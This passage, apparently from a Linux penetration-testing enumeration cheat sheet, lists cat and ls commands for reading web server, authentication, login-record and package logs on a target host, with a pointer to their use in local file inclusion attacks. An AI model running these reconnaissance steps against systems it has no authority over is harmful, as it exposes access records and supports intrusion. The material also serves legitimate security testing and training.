- Is there anything in the log file(s) (Could help with “Local File Includes”!)

---

cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/

- Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp